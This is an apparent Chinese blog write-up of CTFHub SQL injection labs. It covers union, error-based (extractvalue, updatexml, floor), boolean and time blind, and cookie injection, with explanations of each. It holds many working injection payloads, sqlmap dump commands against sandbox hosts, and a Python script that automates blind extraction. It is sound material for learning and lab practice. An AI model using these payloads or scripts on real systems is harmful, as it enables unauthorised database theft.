宣传一波 更好的阅读体验 👉 个人blog
SQL 注入
SQL注入分类:
- 回显正常—> 联合查询 union select
- 回显报错—> Duplicate entry()
extractvalue()
updatexml() - 盲注 —>布尔型盲注
基于时间的盲注sleep()
知识基础
0.bug工具sqlmap
小白最喜欢的一集🤣,直接利用这个渗透测试工具可完成注入(当然明白原理更好)
指令参数的含义我上面的工具里面全写了,下面我看情况会重复提心一下
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入
1.介绍SQL注入
SQL注入就是指WEB应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来是实现对数据库的任意操作。
一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,他根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态的SQL语句会非常有用。
下面以PHP语句为例。
$query = "SELECT * FROM user WHERE id = $_GET['id']";
由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
2.SQL注入的原理
SQL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1’时,数据库执行的代码如下所示。
select * from users where id = 1'
这不符合数据库的语法规范(单引号数量为奇数,不闭环),所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
select * from users where id=1 and 1=1
因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承”外部参数皆不可信的原则”进行开发。
3.information_schema
在MYSQL5.0版本之后,MySQL默认在数据库中存放一个”information_schema”的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库名的库名。
TABLES表存储该用户创建的所有的数据库的库名和表名,库名为:TABLES_SCHEMA
,表名为:TABLE_NAME
,字段名为:COLUMN_NAME
.
4.MySQL查询语句
在不知道任何条件时,语句如下所示。
select 查询的字段名 from 库名.表名
在知道一条已知条件时,语句如下所示。
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
5.limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。
例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果
6.注释符
在MySQL中,常见注释符的表达方式:#或--空格或/**/
。
7.内联注释
内联注释的形式:
/*!code*/
内联注释可以用于整个sql语句中,用来执行SQL语句
-1 /*!union*/ /*!select*/ 1,2,3
8.需要记住的函数
database()
当前网站使用的数据库
version()
当前MySQL的版本
user()
当前MySQL的用户
9.order by
正常的作用是让一列的数据按一定规则排序(递增,递减)
order by 列名(列名可以为select语句中列的序号,name,age——->1,2),因此数字从大往小猜,如果超出它的列数,则报错;如果恰好等于列数,显示$name=1的结果。
$name=1’ order by 3 – ‘,sql语句为:select * from news where id=‘1’ order by 3 – ‘’,超过它的列数,报错。继续往小猜。猜到2时可以正常显示,因此字段数量为2
#如果能正常返回结果意思是按第2列的样子排序,即至少有2列
#反之如果错误即只有1列
select * from news where id=1 order by 2
10.union
它能够将两个或多个 SELECT 查询的结果合并在一起,并返回一个单一的结果集。具体来说,UNION
会去除重复的数据,只返回唯一的行。
使用 union select
语句来执行自定义的 SQL 查询,从而绕过应用程序的验证机制,并获取到敏感信息。
其实就是使用union联合查询检测信息回显位置,利用信息回显位置进行注入攻击
select * from news where id = -1 union select 1, 2
#因为如果news 表中的 id 列是整数类型,那么 id = -1 应该返回空结果集,因为不存在 id 为负数的记录。
#如果 union select 1, 2 能够返回数据,那么这意味着应用程序没有正确处理或过滤用户输入,从而允许攻击者执行自定义的 SQL 查询。
11.concat
CONCAT
是一个 SQL 函数,用于将多个字符串值连接成一个字符串。它通常用于将多个列或字符串值连接起来,以产生一个完整的字符串。
CONCAT
函数的基本语法如下:
CONCAT(string1, string2, ..., stringN)
其中,string1
、string2
等是你要连接的字符串或列名。
例如,假设你有一个名为 employees
的表,其中包含 first_name
和 last_name
两个列,你可以使用以下查询来连接这两个列:
SELECT CONCAT(first_name, ' ', last_name) AS full_name FROM employees;
这将返回一个名为 full_name
的新列,其中包含 first_name
和 last_name
列中的值,用空格分隔。
12.group_concat
GROUP_CONCAT
主要用于将多个行的值连接成一个字符串。这个函数通常与 GROUP BY
子句一起使用,以便将分组后的值连接在一起。
假设有一个表
+----+---------+
| id | name |
+----+---------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+---------+
如果你想获取所有学生的名字,并用逗号分隔,你可以使用以下查询:
SELECT GROUP_CONCAT(name SEPARATOR ', ') AS student_names
FROM students;
使用
GROUP_CONCAT
时,确保在连接的值中没有特殊字符或保留字,否则可能会导致错误或不预期的结果。
1.整数型注入
根据我看了多达十多篇的writeup,还是有不同的地方比如指令不通,工具不通,我来总结一下答案,虽然思想大差不差,但对我来说还是开拓了思路
1.手工注入
1.判断是否存在注入
虽然题目已经说了整数型注入
1)加单引号
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
2)加and 1=1
对应的sql:select * from table where id=3 and 1=1 语句执行正常,与原始页面如任何差异;
3)加and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
即说明存在
2.查询字段数量
当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时没有显示,故字段数量是2。
3.利用回显信息SQL语句插入位置
此时要先保证之前的数据查不出来,id=-1数据不存在数据库中,之后再union 。可以看到存在两个注入点(可以看到回显信息,即注入点)。利用注入点进行爆库。
4.获取数据库库名
两种办法
a.在注入点换成函数database()
-1 union select 1,database()
b.利用group_concat直接获取全部
-1 union select 1,group_concat(schema_name)from information_schema.schemata
爆库成功,知道库名为:sqli
,爆表
5.获取数据库表名
两种办法
a.利用limit一个一个查,第一条limit 0,1;没找到就换成limit 1,1;以此类推
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
b.利用group_concat直接获取全部
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
知道表名为:news
和flag
,爆字段名
6.获取字段名
两种办法
a.利用limit一个一个查,第一条limit 0,1;没找到就换成limit 1,1;以此类推
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
b.利用group_concat直接获取全部
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
知道字段名为flag
,使用flag
这个字段名,爆字段内容
7.获取数据
两种办法
a.利用limit一个一个查,第一条limit 0,1;没找到就换成limit 1,1;以此类推
-1 union select 1,(select flag from sqli.flag limit 0,1)
b.利用group_concat直接获取全部
-1 union select 1,group_concat(flag) from sqli.flag
注入成功,得到flag
2.利用工具HackBar
其实过程大差不差,主要是为了熟悉这个插件
1.老样子先判断是那种注入方式
2.利用order by看有多少列
3.利用union寻找注入点
4.通过注入点寻找库名
?id = -1 union select 1,database()
5.通过库名爆表
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
6.通过表爆字段
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
7.通过字段爆数据
?id=-1 union select 1,group_concat(flag) from sqli.flag
3.sqlmap
1.sqlmap爆当前数据库信息
# ?id=1 的作用是提供一个“入口点”或“注入点”供 sqlmap 进行测试。sqlmap 会尝试在 id 参数中插入特殊的 SQL 代码,以探测是否存在 SQL 注入漏洞。如果目标网站没有正确地处理或过滤用户输入,那么 sqlmap 可能就能成功地执行恶意的 SQL 代码,并获取数据库的敏感信息。
#--current-db 参数的作用是获取当前数据库的名称
python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" --current-db
用sqlmap爆出库名:sqli
2.sqlmap.列出指定数据库所有的表名
#-D 或 --db-name: 这是要获取的数据库名称。
#--tables: 这个参数是用来列出目标数据库中的所有表。
python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
用sqlmap爆出表名:flag,news
3.查指定表的列数据
#-T 或 --table:这个参数后面通常会跟表名,用来指定在数据库中找到的特定表。
#--columns:这个参数后面通常会跟列名,用来指定在找到的表中列出的特定列。如果没有指定列名,那么这个参数会列出整个表的列。
python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --columns
4.查指定列的值
2.字符型注入
字符型注入要考虑到 引号闭合
和注释
1.手工注入
没什么好说的,步骤和上面差不多,我就不贴图了
1.判断列数
1' order by 2#
2.判断注入点
-1' union select 1,2#
3.爆库
-1' union select 1,database()#
4.爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
5.爆字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
6.爆数据
-1' union select 1,(select flag from flag)#
2.sqlmap
没什么好说的,步骤一样,因为ctfhub上flag都藏在一个位置,我这里省事直接找flag
因为已经知道的数据库名,表名,字段名,所以我这里直接搜就行了,如果想要一条一条看,在整数型注入的sqlmap有详细解释
python sqlmap.py -u "http://challenge-edf7e3fef5ffee34.sandbox.ctfhub.com:10080/?id=-1" -D sqli -T flag -C flag --dump
3.报错注入
什么是报错注入
报错注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。返回的错误信息即是攻击者需要的信息。所以当我们没有回显位时可以考虑报错注入这种方法来进行渗透测试。
通过我看过多篇博客后,发现大多是是使用三种报错注入方式,分别是:floor()、updatexml()、extractvalue()。
extractvalue和updatexml函数形成的xpath报错,这算两种。还有一种就是floor实现的group by主键重复,这算另外一种。
如果想要看十种请移步十种MySQL报错注入
这里我介绍extractvalue和updatexml函数,floor(),harkbur以及sqlmap
注入前提
(1) Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上
(2)后台未对一些具有报错功能的函数进行过滤 常用的报错功能函数包括extractvalue()、updatexml)、floor()、exp()等
extractvalue和updatexml函数报错原理
xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:’xxxxxxxx’。
该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示
1.extractvalue
值得注意的是适用的版本:5.1.5+
函数基本格式:
ExtractValue(xml_frag, xpath_expr)
可以看到函数里面的参数,简单分析一下,xml_frag参数就是为了上传一个xml文档,xpath_expr参数就是用xpath路径法查找路径,而extractvalue报错注入 就是通过在函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容;比如我们要查找数据库版本,构造格式如下:
# 有的地方会用0x7e或其他16进制数,这是经过url编码后的,0x7e=~,作用有两个
#一是改不符合语法格式的xpath达到报错的目的
#而是为了方便我们判别version在哪(version在~符号后面)
# ''~'可以换成’#’、’$'等不满足xpath格式的字符
?id=1 and (extractvalue(1,concat('~',(select version()))))
了解extractvalue就是经典连招q(≧▽≦q)
1.爆库名
1 and (select extractvalue(1, concat(0x7e, (select database()))))
2.爆表名
1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))
3.爆字段名
1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))
4.爆数据
1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))
但是得到的flag是不完整的。这个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。
以后遇到这种问题再用一下right()
获取右边的值即可。
1 and (select extractvalue(1,concat('~',(select group_concat(right(flag,30)) from flag))))
2.updatexml
与extractvalue函数利用方式差不多,原理大致一致,基本格式如下:
UpdateXML(xml_target, xpath_expr, new_xml)
分别分析里面的参数:
xml - taeget:需要操作的xml片段,是string格式,为xml文档对象的名称
xpath -expr:需要更新的路径;
xml -xml:更新后的的xml字段,string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
假设我们用这个函数查找数据库名称,可以这样构造PAYLOAD:
?id=' and (updatexml('anything',concat('~',(select database())),'anything'))
因为原理和extractvalue函数利用方式差不多
如果路径正确没有反应
这里直接开始
1.爆库
-1 union select updatexml(1, concat(0x7e, database()),1)
2.爆表
-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema="sqli")),1)
3.爆字段名
-1 union select updatexml(1, concat(0x7e,( select( group_concat(column_name))from information_schema.columns where table_schema='sqli' and table_name='flag')),1)
4.爆数据
-1 union select updatexml(1, concat(0x7e,( select( group_concat(flag)) from sqli.flag)),1)
但是得到的flag是不完整的。这个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。
以后遇到这种问题再用一下right()
获取右边的值即可。
-1 union select updatexml(1, concat(0x7e,( select( group_concat(right(flag,30))) from sqli.flag)),1)
3.floor
这种方式可以实现报错的原因是:虚拟表的主键重复。
floor函数与上面两个的利用方法就不是那么一样了,在了解这个函数之前先看一些会用到的函数。
floor()函数:返回小于等于该值的最大整数,即向下取整,只保留整数部分
rand()函数: 产生一个伪随机的序列,执行函数,随机产生一个0~1之间的数值。
count()函数: 返回指定列的数目。
COUNT(*)
计算所有行,而COUNT(column_name)
计算特定列中的非NULL值数量
group by()函数: 结合合计函数,根据一个或多个列对结果集进行分组。
值得注意的是5.6版本是可以用group by重复的这个报错注入,但是mysql即8.x已经不适用,其他版本不确定
本人对数据库并不是了解很深,仅仅知识了解curd的基本指令,因此这里我还是华丽一段时间理解原理
这位博主关于这块写的很好SQL注入实战之报错注入篇
首先是建一张表助于理解
create database test1;
use test1;
create table czs(id int unsigned not null primary key auto_increment, name varchar(15) not null);
insert into czs(id,name) values(1,'chenzishuo');
insert into czs(id,name) values(2,'zhangsan');
insert into czs(id,name) values(3,'lisi');
insert into czs(id,name) values(4,'wangwu');
1.rand()可以产生一个在0和1之间的随机数
可以看出,直接使用rand函数每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。
2.floor (rand(0)2)函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回0~1的随机数,但在后面2就变成了返回0~2之间的随机数。
配合上floor函数就可以产生确定的两个数,即0和1。
并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值。
此处的myclass 表为含有四行数据的表。
结合上述的函数,每次产生的随机数列都是 0 1 1 0
3.group by 函数
group by 函数,作用就是分类汇总。
等一下再说group by,我们首先看一下我的表。
再在id 和 name后分别放入a x,意思就是id显示为a name显示为x。
然后使用group by 函数进行分组,并且按照x(name)进行排序。
友情提示:在使用group by 函数进行分类时,会因为mysql版本问题而产生问题,主要是启用了ONLY_FULL_GROUP_BY SQL模式(默认情况下),MySQL将拒绝选择列表,HAVING条件或ORDER BY列表的查询引用在GROUP BY子句中既未命名的非集合列,也不在功能上依赖于它们。(或者自行百度解决)
https://blog.csdn.net/weixin_41991232/article/details/82803170
4.count(*)函数
COUNT(*)
计算所有行,而COUNT(column_name)
计算特定列中的非NULL值数量
这就是对重复的数据进行整合计数,x就是每个name的数量,我这里每个只有一个当然count(*)都为1了。
5.综合使用
比如说 select count(*), floor(rand(0)*2) from czs
,4是一共4行,0是因为rand(0)*2
select count(\*),floor(rand(0)*2) x from czs group by x;
当count(*)和group by x同时执行时,就会爆出duplicate entry错误。
根据前面的函数,这句话是统计后面的floor(rand(0)*2)from czs产生的随机数种类并计算数量,0110,应该是两个两个,但是最后却报错了。
报错原因解析
通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。
group by 语句报错的原因是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1
group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算rand 值)
如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,如果是1,那么主键将会重复就会导致插入时冲突而报错。
即检测时和插入时两次计算了随机数的值实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行时是不报错的。
1.爆库
# 用~把rand(0)*2和database()相隔
1 union select count(*),concat(floor(rand(0)*2),'~',database()) x from information_schema.schemata group by x
2.爆表
1 union select count(*),concat(floor(rand(0)*2),'~’,(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1)) x from information_schema.schemata group by x
1 union select count(*),concat(floor(rand(0)*2),'~',(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 1,1)) x from information_schema.schemata group by x
3.爆字段名
1 union select count(*),concat(floor(rand(0)*2),'~',(select concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)) x from information_schema.schemata group by x
4.爆数据
1 union select count(*),concat(floor(rand(0)*2),'~',(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x
4.sqlmap
没什么好说的,步骤一样,因为ctfhub上flag都藏在一个位置,我这里省事直接找flag
因为已经知道的数据库名,表名,字段名,所以我这里直接搜就行了,如果想要一条一条看,在整数型注入的sqlmap有详细解释
python sqlmap.py -u "http://challenge-edf7e3fef5ffee34.sandbox.ctfhub.com:10080/?id=-1" -D sqli -T flag -C flag --dump
疑惑
1.上面的id=-1 union select .... 和 id = 1 and (select....)和id=1 union select都可以
我只知道,union是返回结果集,and是逻辑符,需要两边同时满足,而且记得加括号
但是还是有点想不通
2.不知道为什么有的时候sql语句中不需要对需要查的位置条件限定的很死,比如说在爆字段的时候只需要给出条件在flag表里不需要再sqli库里,查找数据的时候仅需要限定条件在对于的表和字段就行(有大佬知道可以请教一下吗😥)
4.布尔盲注
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
- ascii(str) 函数,返回字符ascii码值
参数 : str单字符 - length(str) 函数,返回字符串的长度
参数 : str 字符串 - left(str, length) 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度 - substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
1.手工注入
注入流程
- 求当前数据库长度
- 求当前数据库表的ASCII
- 求当前数据库中表的个数
- 求当前数据库中其中一个表名的长度
- 求当前数据库中其中一个表名的ASCII
- 求列名的数量
- 求列名的长度
- 求列名的ASCII
- 求字段的数量
- 求字段内容的长度
- 求字段内容对应的ASCII
SQL语句
- 求当前数据库的长度
思路:利用length或者substr函数来完成
length函数
参数 | 描述 |
---|---|
str | 返回字符串的长度 |
substr函数
参数 | 描述 |
---|---|
str | 字符串 |
pos | 截取字符串开始位置 |
length函数原理
# length 返回长度
# 8是当前数据库'security'的长度
SELECT * from users WHERE id = 1 and (length(database())=8)
# 也可以使用 > 、< 符号来进一步缩小范围
SELECT * from users WHERE id = 1 and (length(database())>8)
# 当长度正确就页面就显示正常,其余页面则显示错误
substr函数原理
在构造SQL语句之时,and后面如果跟着一个大于0的数,那么SQL语句正确执行,所以利用此特性,使用substr截取字符,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误
# substr 返回子字符串
# 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
# 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
# and 后只要不为 0, 页面都会返回正常
SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))
- 求当前数据库名
思路:
利用left 函数,从左至右截取字符串
截取字符判断字符的ascii码,从而确定字符
shell
# 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)='s')
# 从左只有截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)='se')
使用>,< 符号来比较查找,找到一个范围,最后再确定
- 求当前数据库存在的表的数量
shell
SELECT * from users WHERE id = 1 AND
(select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4
- 求当前数据库表的表名长度
```shell
#length
SELECT * from users WHERE id = 1
AND (LENGTH(
(select table_name from information_schema.TABLES
where table_schema = database() LIMIT 0,1)
)) = 6
```
```shell
# substr
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select table_name FROM information_schema.TABLES
where table_schema = database() LIMIT 0,1),
6,1))
```
- 求表名
shell
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
1,1)) = 101 # e
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
2,1)) = 109 # m
- 求指定表中列的数量
shell
SELECT * from users WHERE id = 1
AND (select count(column_name) from information_schema.columns where table_name = "users") = 3
- 求指定表中列的长度
shell
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
2,1))
- 求指定表中的列名
shell
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105
- 求指定表中某字段的数量
shell
SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
- 求字段长度
shell
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select username from users limit 0,1),4,1))
- 求字段名
shell
SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users limit 0,1),1,1)) = 68
- 假设查询查询
user
这个字段的数据
shell
#猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #
2.脚本解题
正如上面的代码所示,都是重复的代码,所以直接写个脚本就完事了(我自己看网上的脚本大多是暴力的,因为我有一定算法基础,因此手撸个二分加速的水平还是不行,debug害我用开了四次环境用了200币(T_T)
但是觉得发现还没有别人暴力跑出来的快(T_T)(主要是因为查询的更清楚)因为要解的是这题,所以就不贴我的代码的
记得改url
import requests
import time # 测试用的时间(这里不需要)
#你的url
urlOPEN = 'http://challenge-45c8b825d982f37a.sandbox.ctfhub.com:10800/?id='
starOperatorTime = []
mark = 'query_success' # 返回的mark,用于判断bool类型
def database_name():
name = ''
for j in range(1, 5):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
# start = time.time()
table_name()
def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)
column_name()
def get_data():
name = ''
for j in range(1, 50): # 判断一个值最多有51个字符组成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)
get_data()
3.sqlmap
再次强调神器一个好吧,无脑上面操作
因为原理都一样,sqlmap需要一点点时间进行爆破
因为已经知道的数据库名,表名,字段名,所以我这里直接搜就行了,如果想要一条一条看,在整数型注入的sqlmap有详细解释
python sqlmap.py -u "http://challenge-edf7e3fef5ffee34.sandbox.ctfhub.com:10080/?id=-1" -D sqli -T flag -C flag --dump
5.时间盲注
1.手工注入
时间盲注出现的本质原因也是由于服务器端拼接了 SQL语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的,因此在 CTF 比赛中关于时间盲注的题目比较少,原因在于 sleep 函数或者 benchmark 函数的过多执行会让服务器负载过高,再加上CTF 里面的一些“搅屎棍”的参与,会让题目挂掉。不过,有时候我们还是会在 CTF 中遇到这些题目,这里简单说一下注入的方法。
时间盲注类似于 Bool盲注,只不过是在验证阶段有所不同。Bool盲注是根据页面回显的不同来判断的,而时间盲注是根据页面响应时间来判断结果的。一般来说,延迟的时间可以根据客户端与服务器端之间响应的时间来进行选择,选择一个合适的时间即可。一般来说,时间盲注常用的函数有 sleep0和benchmark() 两个,具体说明如表:
函数名 | 功能及使用方法 |
---|---|
sleep() | sleep是睡眠函数,可以使查询数据时回显数据的响应时间加长。使用方法如sleep(N),这里的N为睡眠的时间。[HTML_REMOVED]使用时可以配合if进行使用。如:[HTML_REMOVED]if(ascii(substr(user(),1,1))=114,sleep(5),2)[HTML_REMOVED]这样的话。如果 user 的第一位是’r’,则页面返回将延迟5秒。这里需要注意的是,这5秒是在务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间 |
benchmark() | benchmark 函数原本是用来重复执行某个语句的函数,我们可以用这个函数来测试数据库的读写性能等。使用方法如下:[HTML_REMOVED]benchuark(N,expression)[HTML_REMOVED]其中,N为执行的次数,expression 为表达式。如果需要进行盲注,我们通常需要进行消耗时间和性能的计算,此如哈希计算函数MD5(),将MD5 函数重复执行数万次则可以达到延迟的效果,而具体的情况需要根据不同比赛的服务器性能及网络情况来决定 |
这个也是用脚本就行了,但是我是不推荐,直接用sqlmap就行了
2.sqlmap
因为已经知道的数据库名,表名,字段名,所以我这里直接搜就行了,如果想要一条一条看,在整数型注入的sqlmap有详细解释
python sqlmap.py -u "http://challenge-edf7e3fef5ffee34.sandbox.ctfhub.com:10080/?id=-1" -D sqli -T flag -C flag --dump
6.MySQL结构
说实话我没感觉什么特别的地方,就是和手工注入直接开干就行了
1.手工注入
1.看列的数量
-1 union select 1,database()
2.爆库
-1 union select 1,database()
3.爆表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
4.爆字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='***'
5.爆数据
-1 union select 1,group_concat(flag) from sqli.flag
2.sqlmap
还是没什么好说的,值得注意的是,这个表名,字段名我们的都应该不一样,即不是sqli.flag.flag,这个需要自己查,还是参考整数型注入的sqlmap就行
7.Cookie注入
- 什么是cookie
Cookie = 网站身份
指某些网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
COOKIE: 客户端将用户名密码等信息给服务器,服务器返回用户身份对应的cookie给客户端,之后两人的身份认定,就靠cookie来进行。
简单地说,当用户使用浏览器访问一个支持Cookie的网站的时候,用户会提供包括用户名在内的个人信息并且提交至服务器,服务器回传给用户这段个人信息的加密版本,这些信息并不存放在HTTP响应体(Response Body)中,而存放于HTTP响应头(Response Header)。
- cookie注入的原理
就要修改cookie的值,我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。
cookie注入的两个必须条件:
条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
cookie注入分为以下几个阶段:
- 判断是不是注入点
- 得到字段总数
- 查选表名
- 查选列名
- 查内容
1.burp
利用burp获取数据包,利用response模块进行cookie注入
进行修改cookie,其实还是手工注入
1.爆库
id = -1 union select, 1, database()
或者用
id = -1 union select 1, group_concat(schema_name) from information_schema.schemata
2.爆表
id = -1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'
3.爆字段名
id = -1 select 1, group_concat(column_name) from information_shcema.columns where table_schema='sqli' and table_name='***'
4.爆数据
2.sqlmap
需要稍微修改一下参数
# 检测的级别(level), 级别,风险越高,对web造成的伤害性也就越高,常规为默认.(试想下,你帮客户做渗透,结果渗透没做好,把人家web给扫描出问题了....,如果黑客出于攻击行为来使用的话,肯定越高越好..个人理解..)
#这里需要设置为2就行了
python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" --dbs --level 2
